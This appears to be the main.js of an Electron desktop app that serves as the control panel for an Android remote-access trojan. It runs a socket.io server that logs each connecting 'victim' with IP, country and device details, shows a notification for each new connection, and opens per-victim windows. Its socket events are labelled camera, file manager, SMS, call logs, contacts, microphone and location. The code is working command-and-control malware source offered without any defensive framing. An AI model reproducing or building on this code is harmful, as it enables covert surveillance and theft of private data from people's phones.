main.js 7.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248
  1. const { app, BrowserWindow } = require('electron')
  2. const electron = require('electron');
  3. const { ipcMain } = require('electron');
  4. var io = require('socket.io');
  5. var geoip = require('geoip-lite');
  6. var victimsList = require('./app/assets/js/model/Victim');
  7. module.exports = victimsList;
  8. //--------------------------------------------------------------
  9. let win;
  10. let display;
  11. var windows = {};
  12. var IO;
  13. //--------------------------------------------------------------
  14. function createWindow() {
  15. // get Display Sizes ( x , y , width , height)
  16. display = electron.screen.getPrimaryDisplay();
  17. //------------------------SPLASH SCREEN INIT------------------------------------
  18. // create the splash window
  19. let splashWin = new BrowserWindow({
  20. width: 600,
  21. height: 400,
  22. frame: false,
  23. transparent: true,
  24. icon: __dirname + '/app/assets/img/icon.png',
  25. type: "splash",
  26. alwaysOnTop: true,
  27. show: false,
  28. position: "center",
  29. resizable: false,
  30. toolbar: false,
  31. fullscreen: false
  32. });
  33. // load splash file
  34. splashWin.loadURL('file://' + __dirname + '/app/splash.html');
  35. splashWin.webContents.on('did-finish-load', function() {
  36. splashWin.show(); //close splash
  37. });
  38. // Emitted when the window is closed.
  39. splashWin.on('closed', () => {
  40. // Dereference the window object
  41. splashWin = null
  42. })
  43. //------------------------Main SCREEN INIT------------------------------------
  44. // Create the browser window.
  45. win = new BrowserWindow({
  46. icon: __dirname + '/app/assets/img/icon.png',
  47. width: 800,
  48. height: 600,
  49. show: false,
  50. resizable: false,
  51. position: "center",
  52. toolbar: false,
  53. fullscreen: false,
  54. transparent: true,
  55. frame: false
  56. });
  57. win.loadURL('file://' + __dirname + '/app/index.html');
  58. //open dev tools
  59. //win.webContents.openDevTools()
  60. // Emitted when the window is closed.
  61. win.on('closed', () => {
  62. // Dereference the window object, usually you would store windows
  63. // in an array if your app supports multi windows, this is the time
  64. // when you should delete the corresponding element.
  65. win = null
  66. })
  67. // Emitted when the window is finished loading.
  68. win.webContents.on('did-finish-load', function() {
  69. setTimeout(() => {
  70. splashWin.close(); //close splash
  71. win.show(); //show main
  72. }, 2000);
  73. });
  74. }
  75. // This method will be called when Electron has finished
  76. // initialization and is ready to create browser windows.
  77. // Some APIs can only be used after this event occurs.
  78. app.on('ready', createWindow)
  79. // Quit when all windows are closed.
  80. app.on('window-all-closed', () => {
  81. // On macOS it is common for applications and their menu bar
  82. // to stay active until the user quits explicitly with Cmd + Q
  83. if (process.platform !== 'darwin') {
  84. app.quit()
  85. }
  86. })
  87. app.on('activate', () => {
  88. // On macOS it's common to re-create a window in the app when the
  89. // dock icon is clicked and there are no other windows open.
  90. if (win === null) {
  91. createWindow()
  92. }
  93. })
  94. //handle the Uncaught Exceptions
  95. // fired when start listening
  96. // It will be fired when AppCtrl emit this event
  97. ipcMain.on('SocketIO:Listen', function(event, port) {
  98. IO = io.listen(port);
  99. IO.sockets.pingInterval = 10000;
  100. IO.sockets.on('connection', function(socket) {
  101. // Get victim info
  102. var address = socket.request.connection;
  103. var query = socket.handshake.query;
  104. var index = query.id;
  105. var ip = address.remoteAddress.substring(address.remoteAddress.lastIndexOf(':') + 1);
  106. var country = null;
  107. var geo = geoip.lookup(ip); // check ip location
  108. if (geo)
  109. country = geo.country.toLowerCase();
  110. // Add the victim to victimList
  111. victimsList.addVictim(socket, ip, address.remotePort, country, query.manf, query.model, query.release, query.id);
  112. //------------------------Notification SCREEN INIT------------------------------------
  113. // create the Notification window
  114. let notification = new BrowserWindow({
  115. frame: false,
  116. x: display.bounds.width - 280,
  117. y: display.bounds.height - 78,
  118. show: false,
  119. width: 280,
  120. height: 78,
  121. resizable: false,
  122. toolbar: false
  123. });
  124. // Emitted when the window is finished loading.
  125. notification.webContents.on('did-finish-load', function() {
  126. notification.show();
  127. setTimeout(function() { notification.destroy() }, 3000);
  128. });
  129. notification.webContents.victim = victimsList.getVictim(index);
  130. notification.loadURL('file://' + __dirname + '/app/notification.html');
  131. //notify renderer proccess (AppCtrl) about the new Victim
  132. win.webContents.send('SocketIO:NewVictim', index);
  133. socket.on('disconnect', function() {
  134. // Decrease the socket count on a disconnect
  135. victimsList.rmVictim(index);
  136. //notify renderer proccess (AppCtrl) about the disconnected Victim
  137. win.webContents.send('SocketIO:RemoveVictim', index);
  138. if (windows[index]) {
  139. //notify renderer proccess (LabCtrl) if opened about the disconnected Victim
  140. BrowserWindow.fromId(windows[index]).webContents.send("SocketIO:VictimDisconnected");
  141. //delete the window from windowsList
  142. delete windows[index]
  143. }
  144. });
  145. });
  146. });
  147. //handle the Uncaught Exceptions
  148. process.on('uncaughtException', function(error) {
  149. if (error.code == "EADDRINUSE") {
  150. win.webContents.send('SocketIO:Listen', "Address Already in Use");
  151. } else {
  152. electron.dialog.showErrorBox("ERROR", JSON.stringify(error));
  153. }
  154. });
  155. // Fired when Victim's Lab is opened
  156. ipcMain.on('openLabWindow', function(e, page, index) {
  157. //------------------------Lab SCREEN INIT------------------------------------
  158. // create the Lab window
  159. let child = new BrowserWindow({
  160. icon: __dirname + '/app/assets/img/icon.png',
  161. parent: win,
  162. width: 600,
  163. height: 650,
  164. darkTheme: true,
  165. transparent: true,
  166. resizable: false,
  167. frame: false
  168. })
  169. //add this window to windowsList
  170. windows[index] = child.id;
  171. //child.webContents.openDevTools();
  172. // pass the victim info to this victim lab
  173. child.webContents.victim = victimsList.getVictim(index).socket;
  174. child.loadURL('file://' + __dirname + '/app/' + page)
  175. child.once('ready-to-show', () => {
  176. child.show();
  177. });
  178. child.on('closed', () => {
  179. delete windows[index];
  180. //on lab window closed remove all socket listners
  181. if (victimsList.getVictim(index).socket) {
  182. victimsList.getVictim(index).socket.removeAllListeners("x0000ca"); // camera
  183. victimsList.getVictim(index).socket.removeAllListeners("x0000fm"); // file manager
  184. victimsList.getVictim(index).socket.removeAllListeners("x0000sm"); // sms
  185. victimsList.getVictim(index).socket.removeAllListeners("x0000cl"); // call logs
  186. victimsList.getVictim(index).socket.removeAllListeners("x0000cn"); // contacts
  187. victimsList.getVictim(index).socket.removeAllListeners("x0000mc"); // mic
  188. victimsList.getVictim(index).socket.removeAllListeners("x0000lm"); // location
  189. }
  190. })
  191. });